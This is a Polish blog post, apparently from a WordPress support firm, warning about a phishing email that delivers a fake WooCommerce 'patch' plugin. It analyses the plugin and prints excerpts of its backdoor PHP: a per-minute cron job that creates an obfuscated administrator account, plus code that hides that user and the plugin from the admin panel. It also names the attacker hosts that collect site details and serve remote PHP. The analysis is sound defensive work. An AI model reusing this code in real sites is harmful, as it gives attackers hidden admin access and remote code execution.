Oszustwo na podatność: jak działa nowy phishing wymierzony w użytkowników WooCommerce

Od kilku dni do administratorów sklepów WooCommerce, którymi się opiekujemy, trafiają maile ostrzegające przed rzekomą krytyczną podatnością. Wiadomość sugeruje, że strona odbiorcy została przeskanowana i zawiera tę lukę – oraz zachęca do pobrania dedykowanej „łatki bezpieczeństwa” (patcha).
To oszustwo.
Mail wygląda wiarygodnie, ale prowadzi do paczki ze złośliwą wtyczką, która daje atakującemu dostęp do Twojej strony. Mówiąc językiem bardziej eksperckim, to phishing mający na celu instalację wtyczki, która jest backdoorem.
Co robić, jeśli dostałeś takiego maila?:
- nie klikaj w zawarte w niej linki,
- nie pobieraj łatki,
- nie instaluj jej na swojej stronie.
A jeśli już wykonałeś powyższe czynności – działaj natychmiast – przejdź do części opisującej jak to naprawić.

Jak rozpoznać, że jest to fałszywy e-mail?
Na pierwszy rzut oka wszystko wygląda całkiem poprawnie. Kolorystyka i formatowanie przypomina wiadomości, które możemy otrzymać od WooCommerce. Na co zatem zwrócić uwagę, aby nie dać się nabrać?
Niewłaściwa domena w adresie nadawcy
Emaile z WooCommerce zawsze wysyłane są z domeny woocommerce.com
, np. support@woocommerce.com
, invoice-help@woocommerce.co
m.
W polu nadawcy tej wiadomości znajduje się domena notify-woocommerce.com
, lub inne np. news-woocommerce.com
. Otrzymaliśmy kopie takich maili od naszych klientów opieki.
Skrócony link pod przyciskiem pobrania paczki
W emailu został umieszczony przycisk do pobrania łatki “DOWNLOAD PATCH”, który nie kieruje do oficjalnego repozytorium WordPress, a do skróconego linka wygenerowanego za pomocą serwisu bit.ly
.
BitLy to serwis do skracania linków, który ukrywa prawdziwy link i po kliknięciu przekierowuje do miejsca docelowego w internecie. Takie skrócone linki zawsze są podejrzane, gdyż nie wiadomo wprost dokąd prowadzą.
A co się stanie, gdy damy się złapać?
Zrobiliśmy coś, czego Wy w żadnym wypadku robić nie powinniście. ”Złapaliśmy” się na ten atak, aby poznać jego szczegóły.
Przycisk w wiadomości ostatecznie kieruje na adres: https://wooċommerce.com/products/woocommerce-authbypass-update/
.
Na uwagę zasługuje dodatkowy znak diakrytyczny nad literą “c
” w słowie woocommerce (wooċommerce
). To zupełnie inna domena.
Sama strona zaskakuje nieco tym, że nie jest artykułem o podatności, a stroną wyglądającą jak karta produktu w sklepie z rozszerzeniami WooCommerce. Czyli zachęca nas do pobrania dodatkowej wtyczki, która “ma załatać podatność”.
To jest kolejny sygnał ostrzegawczy, który powinien zapalić lampki alarmowe.
Jeśli w jakiejś wtyczce wykryto podatność, to naprawa tej podatności polega na wydaniu nowej wersji wtyczki zawierającej odpowiednią poprawkę.
Nigdy rozwiązaniem problemu nie będzie instalacja dodatkowej wtyczki. Wersja poprawkowa zazwyczaj będzie oznaczona małym numerem (X.Y.Z
) i zostanie zainstalowana, gdy wykonamy aktualizację.
W przypadkach krytycznych podatności zespół Automattic może nawet wymusić zdalną, automatyczną aktualizację (co miało już kiedyś miejsce w przypadku podatności wykrytej właśnie w WooCommerce – o czym możesz przeczytać np. w tym artykule).
Niestety dałem się nabrać. Co mam teraz zrobić?
Jak pisaliśmy powyżej przeszliśmy cały proces i sprawdziliśmy mechanizm i szczegóły ataku (jeżeli się tym interesujesz czytaj poniżej).
Wiemy jak atak przebiega, jakie są jego skutki i jak je usunąć. Skontaktuj się z nami – wyczyścimy Twoją stronę ze wstrzykniętych kodów i wpisów w bazie danych oraz zabezpieczymy ją na przyszłość.
Jeżeli jesteś klientem naszej opieki, to nawet po instalacji fałszywej wtyczki, Twoja strona jest bezpieczna, ponieważ nasze autorskie zabezpieczenia powodują, że wstrzyknięty przez nią kod PHP nie jest wykonywalny, a atakujący i tak nie zaloguje się na utworzone konto administratora. Wystarczy więc usunąć wtyczkę, co zrobimy po wykryciu jej przez monitoring.
Co konkretnie znajduje się w „łatce”?
Żeby poznać mechanizm ataku, przejrzeliśmy kod i poznaliśmy skutki pobrania i zainstalowania tej podejrzanej wtyczki.
Po rozpakowaniu archiwum authbypass-update-82410-id.zip
, widzimy następujące dwa pliki:
authbypass-update.php
readme.txt
Plik readme.txt
wygląda całkiem rozsądnie. Informuje o tym, że jest to paczka rozwiązująca problem podatności oraz opisuje proces jej instalacji.
This security update resolves a recently identified, critical Authentication Bypass vulnerability.
== Description ==
**How Does It Work?**
The plugin closes the security loophole by promptly applying robust protective measures upon activation.
This guarantees the protection of your store and sensitive customer information against potential risks associated with this vulnerability.
== Installation ==
**How to Apply the Patch?**
- Log in to your WordPress admin dashboard.
- Go to “Plugins” → “Add New” → “Upload Plugin.”
- Choose the downloaded .zip file and click “Install Now.”
- Once the installation is complete, activate the plugin to secure your site immediately.
Tymczasem już authbypass-update.php
, zgodnie z podejrzeniami, zawiera trochę niespodzianek i z pewnością nie jest żadną łatką bezpieczeństwa.
Autorem wtyczki niby jest WooCommerce, a jej wersja to v1.0.0
. Tutaj wprawne oko zauważy, że coś jest nie tak. Wersje w ekosystemie WordPressa są po prostu numerami. Czyli powinno być 1.0.0
, a nie v1.0.0
.
”Łatka” wstrzykuje na serwer backdoory, dodaje użytkownika z uprawnieniami administratora oraz mechanizmy pozwalające na wykonanie pobranego z zewnątrz kodu PHP.
Przyjrzyjmy się poszczególnym fragmentom jej kodu.
W pierwszej kolejności rejestrowany jest nowy event, który ma wykonać hook decompressRange547
. Powtarzalność tego eventu to convertReference510
. Nie jest to wbudowana częstotliwość WP, a definiowana przez tę wtyczkę jako zadanie wykonywane co minutę.
add_filter('cron_schedules', 'accessInfo055');
if (!wp_next_scheduled('decompressRange547')) {
wp_schedule_event(time(), 'convertReference510', 'decompressRange547');
}
function accessInfo055($h)
{
$h['convertReference510'] = ['interval' => 60, 'display' => 'Every Minute'];
return $h;
}
Ta sama akcja wykonywana jest także podczas aktywacji wtyczki oraz w hooka wp_head
.
Co zatem robi sama akcja, która jest tak kluczowa, że musi być wykonywana podczas instalacji wtyczki, każdej odsłony strony oraz jeszcze dodatkowo co minutę w tle?
Podpięta jest pod nią funkcja updateGenerator787
add_action('decompressRange547', 'updateGenerator787');
function updateGenerator787()
{
$set=base64_decode("V1BfVXNlcg");
$k = executeInvalid872();
$m = securityLogger123();
$id = null;
if (!username_exists($k)) {
$o = wp_create_user($k, $m);
if (!is_wp_error($o)) {
$pdfp = new $set($o);
$ddf = "pdfp";
${$ddf}->set_role(base64_decode('YWRtaQ').base64_decode('bmlzdHJhdG9y'));
escapeCache836($k, $m);
$id = $pdfp->ID;
}
} else {
$r = get_user_by('login', $k);
if ( $r && !in_array( base64_decode('YWRtaQ').base64_decode('bmlzdHJhdG9y'), (array) $r->roles, true ) ) {
$r->set_role(base64_decode('YWRtaQ').base64_decode('bmlzdHJhdG9y'));
$id = $r->ID;
}
}
if ($id !== null) {
add_action( 'plugins_loaded', function() {
if ( class_exists( 'wfAdminUserMonitor' ) ) {
$apiResponse159 = new wfAdminUserMonitor;
$apiResponse159->addAdmin($id);
}
});
}
}
I tu pomimo prób zaciemnienia kodu widać, że tworzy ona użytkownika i nadaje mu rolę administrator.
${$ddf}->set_role(base64_decode('YWRtaQ').base64_decode('bmlzdHJhdG9y'));
Wynik pierwszego wywołania funkcji base64_decode()
daje “admi
”, które jest następnie łączone z wynikiem drugiego wywołania “nistrator
”.
Autor zadbał także o to, aby ten dodany użytkownik nie był widoczny w panelu administracyjnym na liście użytkowników korzystając z hooka pre_user_query
add_action('pre_user_query', 'unbindFloat538');
...
function unbindFloat538($z)
{
$A = executeInvalid872();
global $wpdb;
$z->query_where .= $wpdb->prepare(" AND {$wpdb->users}.user_login != %s", $A);
}
A nawet zadbał o to, aby liczby użytkowników na tej stronie się zgadzały i nie zdradzały, że jakiś użytkownik jest ukryty.
add_filter("views_users", "escapeStream958");
function escapeStream958($vjs)
{
$osrs = count_users();
$nmr = $osrs['avail_roles']['administrator'] - 1;
$anmr = $osrs['total_users'] - 1;
$cadm = (strpos($vjs['administrator'], 'current') === false) ? "" : "current";
$call = (strpos($vjs['all'], 'current') === false) ? "" : "current";
$vjs['administrator'] = '' . translate_user_role('Administrator') . ' (' . $nmr . ')';
$vjs['all'] = '' . __('All') . ' (' . $anmr . ')';
return $vjs;
}
Atakującemu udało się już wstrzyknąć konto z uprawnieniami administratora i losowym hasłem. Skąd zatem będzie znał to hasło?
W katalogu wp-content/uploads
umieszczany jest katalog wp-cached-XXX
, gdzie XXX
to 8 znaków hasha zbudowanego na podstawie nazwy strony, a w nim kod PHP pobrany z adresu: https://wpdevnetwork.org/wpapi?
, gdzie w parametrach zapytania przekazywane są informacje o stronie oraz utworzonym właśnie użytkowniku. Czyli atakujący wie już, że atak na danej stronie się powiódł.
Atakujący zadbał także o to, aby wtyczka nie była widoczna na liście wtyczek w panelu administracyjnym, korzystając z hooka pre_current_active_plugins
.
add_action('pre_current_active_plugins', 'convertMetrics332');
...
function convertMetrics332()
{
global $current_user;
$username = $current_user->user_login;
if ($username == executeInvalid872()) {
return;
}
if (!is_plugin_active('authbypass-update/authbypass-update.php')) {
return;
}
global $wp_list_table;
$hidearr = array('authbypass-update/authbypass-update.php');
$myplugins = $wp_list_table->items;
foreach ($myplugins as $key => $val) {
if (in_array($key, $hidearr)) {
unset($wp_list_table->items[$key]);
}
}
}
Wtyczka zawiera ponadto kod uruchamiany w hooku init
, czyli przy każdej odsłonie strony, a który odpowiada za pobranie jeszcze większej ilości kodu PHP, tym razem z domeny https://woocommerce-check.com/activate
Atak ten został zaplanowany z dobrą znajomością mechanizmów WordPressa. Jeśli tylko uda się sprawić, żeby użytkownik uwierzył w treść maila oraz pobrał i zainstalował „łatkę”, to kolejne działania atakującego są już praktycznie niezauważalne. Nie będzie widoczna żadna podejrzana wtyczka, ani użytkownik — wszystko będzie wyglądać poprawnie, a jedynie na stronie pojawi się jakiś cache z plikami PHP.
Potrzebujesz pomocy – jesteśmy w zasięgu ręki
Jeżeli masz pytania do powyższego artykułu lub potrzebujesz pomocy z twoją stroną w sprawie tego ataku lub innego problemu – skontaktuj się z nami.